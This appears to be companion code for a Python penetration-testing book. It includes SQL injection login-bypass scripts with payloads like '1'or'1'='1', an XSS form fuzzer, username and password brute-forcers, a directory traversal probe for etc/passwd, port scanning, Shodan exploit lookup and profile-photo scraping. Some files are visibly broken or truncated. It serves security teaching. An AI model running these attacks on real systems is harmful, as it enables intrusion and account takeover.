https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/iPod-Nano.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/iPod-Shuffle.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/iPod-Shuffle.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/iPod-Touch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/iPod-Touch.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/music/mp3player.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/music/mp3player.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/networking/Belkin-Network-Cable-15M.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/networking/Belkin-Network-Cable-15M.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/networking/Cisco-1811WAGBK9-RF.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/networking/Cisco-1811WAGBK9-RF.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/networking/Linksys-WRT55AG-Wireless.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/networking/Linksys-WRT55AG-Wireless.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/networking/NetworkCable.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/networking/NetworkCable.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/networking/NetworkRouter.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/networking/NetworkRouter.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/networking/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/networking/Thumbs.db -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/sos_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/sos_logo.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeAd1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeAd1.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeAd2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeAd2.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeAd3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeAd3.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeAd4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeAd4.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeBanner1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeBanner1.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeBanner2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeBanner2.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeBanner3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeBanner3.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeBanner4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeBanner4.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/testimages/storeBanner5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/testimages/storeBanner5.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/updateBasket.php: -------------------------------------------------------------------------------- 1 | 0){ 17 | for($i=0; $i<=count($_items); $i++){ 18 | if($_items[$i] > 0){ 19 | $cart->set_item_count($_itemids[$i], $_items[$i]); 20 | } 21 | } 22 | } 23 | } 24 | header("Location: viewCart.php"); 25 | exit; 26 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/verify.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | User Exist $uname"; 20 | } 21 | else 22 | { 23 | echo "
You can use this $uname name"; 24 | } 25 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/login1.py: -------------------------------------------------------------------------------- 1 | import httplib 2 | import shelve 3 | url = raw_input("Enter the full URL ") 4 | url1 =url.replace("http://","") 5 | url2= url1.replace("/","") 6 | s = shelve.open("mohit.raj",writeback=True) 7 | 8 | for u in s['php']: 9 | a = "/" 10 | url_n = url2+a+u 11 | print url_n 12 | http_r = httplib.HTTPConnection(url2) 13 | u=a+u 14 | http_r.request("GET",u) 15 | reply = http_r.getresponse() 16 | 17 | if reply.status == 200: 18 | print "\n URL found ---- ", url_n 19 | ch = raw_input("Press c for continue : ") 20 | if ch == "c" or ch == "C" : 21 | continue 22 | else : 23 | break 24 | 25 | s.close() -------------------------------------------------------------------------------- /Module 2/Chapter 7/sql_form6.py: -------------------------------------------------------------------------------- 1 | import mechanize 2 | import re 3 | br = mechanize.Browser() 4 | br.set_handle_robots( False ) 5 | url = raw_input("Enter URL ") 6 | br.set_handle_equiv(True) 7 | br.set_handle_gzip(True) 8 | br.set_handle_redirect(True) 9 | br.set_handle_referer(True) 10 | br.set_handle_robots(False) 11 | br.open(url) 12 | 13 | for form in br.forms(): 14 | print form 15 | br.select_form(nr=0) 16 | pass_exp = ['k','kl',"1'or'1'='1",'1" or "1"="1'] 17 | 18 | user1 = raw_input("Enter the Username ") 19 | pass1 = raw_input("Enter the Password ") 20 | 21 | flag =0 22 | p =0 23 | while flag ==0: 24 | br.select_form(nr=0) 25 | br.form[user1] = 'admin' 26 | br.form[pass1] = pass_exp[p] 27 | br.submit() 28 | data = "" 29 | for link in br.links(): 30 | data=data+str(link) 31 | 32 | list = ['logout','logoff', 'signout','signoff'] 33 | data1 = data.lower() 34 | 35 | for l in list: 36 | for match in re.findall(l,data1): 37 | flag = 1 38 | if flag ==1: 39 | print "\t Success in ",p+1," attempts" 40 | print "Successfull hit --> ",pass_exp[p] 41 | 42 | elif(p+1 == len(pass_exp)): 43 | print "All exploits over " 44 | flag =1 45 | else : 46 | p = p+1 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/sql_form7.py: -------------------------------------------------------------------------------- 1 | import mechanize 2 | import re 3 | br = mechanize.Browser() 4 | br.set_handle_robots( False ) 5 | url = raw_input("Enter URL ") 6 | br.set_handle_equiv(True) 7 | br.set_handle_gzip(True) 8 | br.set_handle_redirect(True) 9 | br.set_handle_referer(True) 10 | br.set_handle_robots(False) 11 | br.open(url) 12 | 13 | for form in br.forms(): 14 | print form 15 | form = raw_input("Enter the form name " ) 16 | br.select_form(name =form) 17 | user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ] 18 | 19 | user1 = raw_input("Enter the Username ") 20 | pass1 = raw_input("Enter the Password ") 21 | 22 | flag =0 23 | p =0 24 | while flag ==0: 25 | br.select_form(name =form) 26 | br.form[user1] = user_exp[p] 27 | br.form[pass1] = "aaaaaaaa" 28 | br.submit() 29 | data = "" 30 | for link in br.links(): 31 | data=data+str(link) 32 | 33 | list = ['logout','logoff', 'signout','signoff'] 34 | data1 = data.lower() 35 | 36 | for l in list: 37 | for match in re.findall(l,data1): 38 | flag = 1 39 | if flag ==1: 40 | print "\t Success in ",p+1," attempts" 41 | print "Successfull hit --> ",user_exp[p] 42 | 43 | elif(p+1 == len(user_exp)): 44 | print "All exploits over " 45 | flag =1 46 | else : 47 | p = p+1 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/xss.py: -------------------------------------------------------------------------------- 1 | import mechanize 2 | import re 3 | import shelve 4 | br = mechanize.Browser() 5 | br.set_handle_robots( False ) 6 | url = raw_input("Enter URL ") 7 | br.set_handle_equiv(True) 8 | br.set_handle_gzip(True) 9 | #br.set_handle_redirect(False) 10 | br.set_handle_referer(True) 11 | br.set_handle_robots(False) 12 | br.open(url) 13 | s = shelve.open("mohit.xss",writeback=True) 14 | for form in br.forms(): 15 | print form 16 | 17 | att = raw_input("Enter the attack field ") 18 | non = raw_input("Enter the normal field ") 19 | br.select_form(nr=0) 20 | 21 | p =0 22 | flag = 'y' 23 | while flag =="y": 24 | br.open(url) 25 | br.select_form(nr=0) 26 | br.form[non] = 'aaaaaaa' 27 | br.form[att] = s['xss'][p] 28 | print s['xss'][p] 29 | br.submit() 30 | ch = raw_input("Do you continue press y ") 31 | p = p+1 32 | flag = ch.lower() 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/xss_data_handler.py: -------------------------------------------------------------------------------- 1 | import shelve 2 | def create(): 3 | print "This only for One key " 4 | s = shelve.open("mohit.xss",writeback=True) 5 | s['xss']= [] 6 | 7 | def update(): 8 | s = shelve.open("mohit.xss",writeback=True) 9 | val1 = int(raw_input("Enter the number of values ")) 10 | 11 | for x in range(val1): 12 | val = raw_input("\n Enter the value\t") 13 | (s['xss']).append(val) 14 | s.sync() 15 | s.close() 16 | 17 | def retrieve(): 18 | r = shelve.open("mohit.xss",writeback=True) 19 | for key in r: 20 | print "*"*20 21 | print key 22 | print r[key] 23 | print "Total Number ", len(r['xss']) 24 | r.close() 25 | 26 | while (True): 27 | print "Press" 28 | print " C for Create, \t U for Update,\t R for retrieve" 29 | print " E for exit" 30 | print "*"*40 31 | c=raw_input("Enter \t") 32 | if (c=='C' or c=='c'): 33 | create() 34 | 35 | elif(c=='U' or c=='u'): 36 | update() 37 | 38 | elif(c=='R' or c=='r'): 39 | retrieve() 40 | 41 | elif(c=='E' or c=='e'): 42 | exit() 43 | else: 44 | print "\t Wrong Input" -------------------------------------------------------------------------------- /Module 2/Chapter 7/xss_list.py: -------------------------------------------------------------------------------- 1 | import mechanize 2 | import shelve 3 | br = mechanize.Browser() 4 | br.set_handle_robots( False ) 5 | url = raw_input("Enter URL ") 6 | br.set_handle_equiv(True) 7 | br.set_handle_gzip(True) 8 | #br.set_handle_redirect(False) 9 | br.set_handle_referer(True) 10 | br.set_handle_robots(False) 11 | br.open(url) 12 | s = shelve.open("mohit.xss",writeback=True) 13 | for form in br.forms(): 14 | print form 15 | list_a =[] 16 | list_n = [] 17 | field = int(raw_input('Enter the number of field "not readonly" ')) 18 | for i in xrange(0,field): 19 | na = raw_input('Enter the field name, "not readonly" ') 20 | ch = raw_input("Do you attack on this field? press Y ") 21 | if (ch=="Y" or ch == "y"): 22 | list_a.append(na) 23 | else : 24 | list_n.append(na) 25 | 26 | br.select_form(nr=0) 27 | 28 | p =0 29 | flag = 'y' 30 | while flag =="y": 31 | br.open(url) 32 | br.select_form(nr=0) 33 | for i in xrange(0, len(list_a)): 34 | att=list_a[i] 35 | br.form[att] = s['xss'][p] 36 | for i in xrange(0, len(list_n)): 37 | non=list_n[i] 38 | br.form[non] = 'aaaaaaa' 39 | 40 | print s['xss'][p] 41 | br.submit() 42 | ch = raw_input("Do you continue press y ") 43 | p = p+1 44 | flag = ch.lower() 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/1_shodan_info_gathering.py: -------------------------------------------------------------------------------- 1 | import shodan 2 | import requests 3 | 4 | SHODAN_API_KEY = "{Insert your Shodan API key}" 5 | api = shodan.Shodan(SHODAN_API_KEY) 6 | 7 | target = 'www.packtpub.com' 8 | 9 | dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY 10 | 11 | 12 | try: 13 | # First we need to resolve our targets domain to an IP 14 | resolved = requests.get(dnsResolve) 15 | hostIP = resolved.json()[target] 16 | 17 | 18 | # Then we need to do a Shodan search on that IP 19 | host = api.host(hostIP) 20 | print "IP: %s" % host['ip_str'] 21 | print "Organization: %s" % host.get('org', 'n/a') 22 | print "Operating System: %s" % host.get('os', 'n/a') 23 | 24 | 25 | # Print all banners 26 | for item in host['data']: 27 | print "Port: %s" % item['port'] 28 | print "Banner: %s" % item['data'] 29 | 30 | 31 | # Print vuln information 32 | for item in host['vulns']: 33 | CVE = item.replace('!','') 34 | print 'Vulns: %s' % item 35 | exploits = api.exploits.search(CVE) 36 | for item in exploits['matches']: 37 | if item.get('cve')[0] == CVE: 38 | print item.get('description') 39 | except: 40 | 'An error occured' 41 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/2_google_search_API.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | 3 | GOOGLE_API_KEY = "{Insert your Google API key}" 4 | target = "packtpub.com" 5 | api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read() 6 | api_response = api_response.split("\n") 7 | for line in api_response: 8 | if "displayName" in line: 9 | print line -------------------------------------------------------------------------------- /Module 3/Chapter 1/3_google_profile_pics.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import json 3 | 4 | GOOGLE_API_KEY = "{Insert your Google API key}" 5 | target = "packtpub.com" 6 | api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read() 7 | 8 | json_response = json.loads(api_response) 9 | for result in json_response['items']: 10 | name = result['displayName'] 11 | print name 12 | image = result['image']['url'].split('?')[0] 13 | f = open(name+'.jpg','wb+') 14 | f.write(urllib2.urlopen(image).read()) 15 | f.close() 16 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/4_google_additional_results.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import json 3 | 4 | GOOGLE_API_KEY = "{Insert your Google API key}" 5 | target = "packtpub.com" 6 | token = "" 7 | loops = 0 8 | 9 | while loops < 10: 10 | api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50&pageToken="+token).read() 11 | 12 | json_response = json.loads(api_response) 13 | token = json_response['nextPageToken'] 14 | 15 | if len(json_response['items']) == 0: 16 | break 17 | 18 | for result in json_response['items']: 19 | name = result['displayName'] 20 | print name 21 | image = result['image']['url'].split('?')[0] 22 | f = open(name+'.jpg','wb+') 23 | f.write(urllib2.urlopen(image).read()) 24 | loops+=1 25 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/5_screenshots.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import time 3 | from PyQt4.QtCore import * 4 | from PyQt4.QtGui import * 5 | from PyQt4.QtWebKit import * 6 | 7 | class Screenshot(QWebView): 8 | def __init__(self): 9 | self.app = QApplication(sys.argv) 10 | QWebView.__init__(self) 11 | self._loaded = False 12 | self.loadFinished.connect(self._loadFinished) 13 | 14 | def wait_load(self, delay=0): 15 | while not self._loaded: 16 | self.app.processEvents() 17 | time.sleep(delay) 18 | self._loaded = False 19 | 20 | def _loadFinished(self, result): 21 | self._loaded = True 22 | 23 | def get_image(self, url): 24 | self.load(QUrl(url)) 25 | self.wait_load() 26 | 27 | frame = self.page().mainFrame() 28 | self.page().setViewportSize(frame.contentsSize()) 29 | 30 | image = QImage(self.page().viewportSize(), QImage.Format_ARGB32) 31 | painter = QPainter(image) 32 | frame.render(painter) 33 | painter.end() 34 | return image 35 | 36 | s = Screenshot() 37 | image = s.get_image('http://www.packtpub.com') 38 | image.save('website.png') 39 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/6_screenshot_by_port.py: -------------------------------------------------------------------------------- 1 | import screenshot 2 | import requests 3 | 4 | portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,9001,4489] 5 | 6 | IP = '127.0.0.1' 7 | 8 | http = 'http://' 9 | https = 'https://' 10 | 11 | def testAndSave(protocol, portNumber): 12 | url = protocol + IP + ':' + str(portNumber) 13 | try: 14 | r = requests.get(url,timeout=1) 15 | 16 | if r.status_code == 200: 17 | print 'Found site on ' + url 18 | s = screenshot.Screenshot() 19 | image = s.get_image(url) 20 | image.save(str(portNumber) + '.png') 21 | except: 22 | pass 23 | 24 | for port in portList: 25 | testAndSave(http, port) 26 | testAndSave(https, port) 27 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/7_screenshot_by_port_threaded.py: -------------------------------------------------------------------------------- 1 | import Queue 2 | import threading 3 | import screenshot 4 | import requests 5 | 6 | portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,9001,4489] 7 | 8 | IP = '127.0.0.1' 9 | 10 | http = 'http://' 11 | https = 'https://' 12 | 13 | def testAndSave(protocol, portNumber): 14 | url = protocol + IP + ':' + str(portNumber) 15 | try: 16 | r = requests.get(url,timeout=1) 17 | 18 | if r.status_code == 200: 19 | print 'Found site on ' + url 20 | s = screenshot.Screenshot() 21 | image = s.get_image(url) 22 | image.save(str(portNumber) + '.png') 23 | except: 24 | pass 25 | 26 | def threader(q, port): 27 | q.put(testAndSave(http, port)) 28 | q.put(testAndSave(https, port)) 29 | 30 | q = Queue.Queue() 31 | 32 | for port in portList: 33 | t = threading.Thread(target=threader, args=(q, port)) 34 | t.deamon = True 35 | t.start() 36 | 37 | s = q.get() 38 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/8_spidering_websites.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | from bs4 import BeautifulSoup 3 | import sys 4 | urls = [] 5 | urls2 = [] 6 | 7 | tarurl = sys.argv[1] 8 | 9 | url = urllib2.urlopen(tarurl).read() 10 | soup = BeautifulSoup(url) 11 | for line in soup.find_all('a'): 12 | newline = line.get('href') 13 | print line.get('href') 14 | try: 15 | if newline[:4] == "http": 16 | if tarurl in newline: 17 | urls.append(str(newline)) 18 | elif newline[:1] == "/": 19 | combline = tarurl+newline 20 | urls.append(str(combline)) 21 | except: 22 | pass 23 | for uurl in urls: 24 | url = urllib2.urlopen(uurl).read() 25 | soup = BeautifulSoup(url) 26 | for line in soup.find_all('a'): 27 | newline = line.get('href') 28 | try: 29 | if newline[:4] == "http": 30 | if tarurl in newline: 31 | urls2.append(str(newline)) 32 | elif newline[:1] == "/": 33 | combline = tarurl+newline 34 | urls2.append(str(combline)) 35 | except: 36 | pass 37 | urls3 = set(urls2) 38 | for value in urls3: 39 | print value 40 | -------------------------------------------------------------------------------- /Module 3/Chapter 1/screenshot.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import time 3 | from PyQt4.QtCore import * 4 | from PyQt4.QtGui import * 5 | from PyQt4.QtWebKit import * 6 | 7 | class Screenshot(QWebView): 8 | def __init__(self): 9 | self.app = QApplication(sys.argv) 10 | QWebView.__init__(self) 11 | self._loaded = False 12 | self.loadFinished.connect(self._loadFinished) 13 | 14 | def wait_load(self, delay=0): 15 | while not self._loaded: 16 | self.app.processEvents() 17 | time.sleep(delay) 18 | self._loaded = False 19 | 20 | def _loadFinished(self, result): 21 | self._loaded = True 22 | 23 | def get_image(self, url): 24 | self.load(QUrl(url)) 25 | self.wait_load() 26 | 27 | frame = self.page().mainFrame() 28 | self.page().setViewportSize(frame.contentsSize()) 29 | 30 | image = QImage(self.page().viewportSize(), QImage.Format_ARGB32) 31 | painter = QPainter(image) 32 | frame.render(painter) 33 | painter.end() 34 | return image 35 | 36 | s = Screenshot() 37 | image = s.get_image('http://www.packtpub.com') 38 | image.save('website.png') 39 | -------------------------------------------------------------------------------- /Module 3/Chapter 2/basicname.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | if len(sys.argv) !=3: 4 | print "usage: %s name.txt email suffix" % (sys.argv[0]) 5 | sys.exit(0) 6 | for line in open(sys.argv[1]): 7 | name = ''.join([c for c in line if c == " " or c.isalpha()]) 8 | tokens = name.lower().split() 9 | fname = tokens[0] 10 | lname = tokens[-1] 11 | print fname +lname+sys.argv[2] 12 | print lname+fname+sys.argv[2] 13 | print fname+"."+lname+sys.argv[2] 14 | print lname+"."+fname+sys.argv[2] 15 | print lname+fname[0]+sys.argv[2] 16 | print fname+lname+fname+sys.argv[2] 17 | print fname[0]+lname+sys.argv[2] 18 | print fname[0]+"."+lname+sys.argv[2] 19 | print lname[0]+"."+fname+sys.argv[2] 20 | print fname+sys.argv[2] 21 | print lname+sys.argv[2] -------------------------------------------------------------------------------- /Module 3/Chapter 2/brutepasswords.py: -------------------------------------------------------------------------------- 1 | #brute force passwords 2 | import sys 3 | import urllib 4 | import urllib2 5 | 6 | if len(sys.argv) !=3: 7 | print "usage: %s userlist passwordlist" % (sys.argv[0]) 8 | sys.exit(0) 9 | 10 | filename1=str(sys.argv[1]) 11 | filename2=str(sys.argv[2]) 12 | userlist = open(filename1,'r') 13 | passwordlist = open(filename2,'r') 14 | url = "http://www.vulnerablesite.com/login.html" 15 | foundusers = [] 16 | UnknownStr="Username not found" 17 | 18 | for user in userlist: 19 | for password in passwordlist: 20 | data = urllib.urlencode({"username":user}) 21 | request = urllib2.urlopen(url,data) 22 | response = request.read() 23 | if(response.find(UnknownStr)>=0) 24 | foundusers.append(user) 25 | request.close() 26 | 27 | if len(foundusers)>0: 28 | print "Found Users:\n" 29 | for name in foundusers: 30 | print name+"\n" 31 | else: 32 | print "No users found\n" 33 | 34 | -------------------------------------------------------------------------------- /Module 3/Chapter 2/bruteusernames.py: -------------------------------------------------------------------------------- 1 | #brute force username enumeration 2 | import sys 3 | import urllib 4 | import urllib2 5 | 6 | if len(sys.argv) !=2: 7 | print "usage: %s filename" % (sys.argv[0]) 8 | sys.exit(0) 9 | 10 | filename=str(sys.argv[1]) 11 | userlist = open(filename,'r') 12 | url = "http://www.vulnerablesite.com/forgotpassword.html" 13 | foundusers = [] 14 | UnknownStr="Username not found" 15 | 16 | for user in userlist: 17 | user=user.rstrip() 18 | data = urllib.urlencode({"username":user}) 19 | request = urllib2.urlopen(url,data) 20 | response = request.read() 21 | 22 | if(response.find(UnknownStr)>=0) 23 | foundusers.append(user) 24 | request.close() 25 | 26 | if len(foundusers)>0: 27 | print "Found Users:\n" 28 | for name in foundusers: 29 | print name+"\n" 30 | else: 31 | print "No users found\n" 32 | 33 | -------------------------------------------------------------------------------- /Module 3/Chapter 2/commentfinder.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | 4 | from bs4 import BeautifulSoup 5 | import sys 6 | 7 | if len(sys.argv) !=2: 8 | print "usage: %s targeturl" % (sys.argv[0]) 9 | sys.exit(0) 10 | 11 | urls = [] 12 | 13 | tarurl = sys.argv[1] 14 | url = requests.get(tarurl) 15 | comments = re.findall('',url.text) 16 | print "Comments on page: "+tarurl 17 | for comment in comments: 18 | print comment 19 | 20 | soup = BeautifulSoup(url.text) 21 | for line in soup.find_all('a'): 22 | newline = line.get('href') 23 | try: 24 | if newline[:4] == "http": 25 | if tarurl in newline: 26 | urls.append(str(newline)) 27 | elif newline[:1] == "/": 28 | combline = tarurl+newline 29 | urls.append(str(combline)) 30 | except: 31 | pass 32 | print "failed" 33 | for uurl in urls: 34 | print "Comments on page: "+uurl 35 | url = requests.get(uurl) 36 | comments = re.findall('',url.text) 37 | for comment in comments: 38 | print comment -------------------------------------------------------------------------------- /Module 3/Chapter 2/filebrute.py: -------------------------------------------------------------------------------- 1 | #bruteforce file names 2 | import sys 3 | import urllib 4 | import urllib2 5 | 6 | if len(sys.argv) !=4: 7 | print "usage: %s url wordlist fileextension\n" % (sys.argv[0]) 8 | sys.exit(0) 9 | 10 | base_url = str(sys.argv[1]) 11 | wordlist= str(sys.argv[2]) 12 | extension=str(sys.argv[3]) 13 | filelist = open(wordlist,'r') 14 | foundfiles = [] 15 | 16 | for file in filelist: 17 | file=file.strip("\n") 18 | extension=extension.rstrip() 19 | url=base_url+file+"."+str(extension.strip(".")) 20 | try: 21 | request = urllib2.urlopen(url) 22 | if(request.getcode()==200): 23 | foundfiles.append(file+"."+extension.strip(".")) 24 | request.close() 25 | except urllib2.HTTPError, e: 26 | pass 27 | 28 | if len(foundfiles)>0: 29 | print "The following files exist:\n" 30 | for filename in foundfiles: 31 | print filename+"\n" 32 | else: 33 | print "No files found\n" 34 | -------------------------------------------------------------------------------- /Module 3/Chapter 2/scapyportscan.py: -------------------------------------------------------------------------------- 1 | import logging 2 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 3 | 4 | import sys 5 | from scapy.all import * 6 | 7 | if len(sys.argv) !=4: 8 | print "usage: %s target startport endport" % (sys.argv[0]) 9 | sys.exit(0) 10 | 11 | target = str(sys.argv[1]) 12 | startport = int(sys.argv[2]) 13 | endport = int(sys.argv[3]) 14 | print "Scanning "+target+" for open TCP ports\n" 15 | if startport==endport: 16 | endport+=1 17 | for x in range(startport,endport): 18 | packet = IP(dst=target)/TCP(dport=x,flags="S") 19 | response = sr1(packet,timeout=0.5,verbose=0) 20 | if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12: 21 | print "Port "+str(x)+" is open!" 22 | sr(IP(dst=target)/TCP(dport=response.sport,flags="R"),timeout=0.5, verbose=0) 23 | 24 | print "Scan complete!\n" -------------------------------------------------------------------------------- /Module 3/Chapter 2/usernamecheck.py: -------------------------------------------------------------------------------- 1 | #basic username check 2 | import sys 3 | import urllib 4 | import urllib2 5 | 6 | if len(sys.argv) !=2: 7 | print "usage: %s username" % (sys.argv[0]) 8 | sys.exit(0) 9 | 10 | url = "http://www.vulnerablesite.com/forgotpassword.html" 11 | username = str(sys.argv[1]) 12 | data = urllib.urlencode({"username":username}) 13 | response = urllib2.urlopen(url,data).read() 14 | UnknownStr="Username not found" 15 | if(response.find(UnknownStr)<0): 16 | print "Username exists!" 17 | -------------------------------------------------------------------------------- /Module 3/Chapter 3/DirectoryTraversal.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | url = "http://127.0.0.1/traversal/third.php?id=" 4 | payloads = {'etc/passwd': 'root'} 5 | up = "../" 6 | i = 0 7 | for payload, string in payloads.iteritems(): 8 | while i < 7: 9 | req = requests.post(url+(i*up)+payload) 10 | if string in req.text: 11 | print "Parameter vulnerable\r\n" 12 | print "Attack string: "+(i*up)+payload+"\r\n" 13 | print req.text 14 | break 15 | i = i+1 16 | i = 0 17 | -------------------------------------------------------------------------------- /Module 3/Chapter 3/Fuzzer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | from bs4 import BeautifulSoup, SoupStrainer 4 | url = "http://127.0.0.1/xss/medium/guestbook2.php" 5 | url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" 6 | url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" 7 | 8 | f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt") 9 | o = open("results.txt", 'a') 10 | d = {} 11 | sets = [] 12 | 13 | print "Fuzzing begins!" 14 | 15 | initial = requests.get(url) 16 | for payload in f.readlines(): 17 | for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): 18 | if 